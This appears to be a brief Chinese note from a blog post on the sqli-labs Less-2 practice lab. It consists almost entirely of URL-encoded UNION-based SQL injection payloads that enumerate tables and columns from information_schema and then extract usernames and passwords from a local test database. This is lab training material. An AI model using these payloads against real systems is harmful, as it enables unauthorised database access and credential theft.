查询库中的所有表：http://127.0.0.1/sqli/Less-2/?id=-1%20union%20select%201,group_concat(table_name),3%20from%20information_schema.tables%20where%20table_schema=0x74657374(test的hex)
查询表的字段：http://127.0.0.1/sqli/Less-2/?id=-1%20union%20select%201,group_concat(column_name),3%20from%20information_schema.columns%20where%20table_schema=0x74657374
http://127.0.0.1/sqli/Less-2/?id=-1%20union%20select%201,user,pass%20from%20test.test1
标签：20from%,20select%,sqli,--,0.1,网安,注入,id,schema From： https://www.cnblogs.com/L-1906/p/17567053.html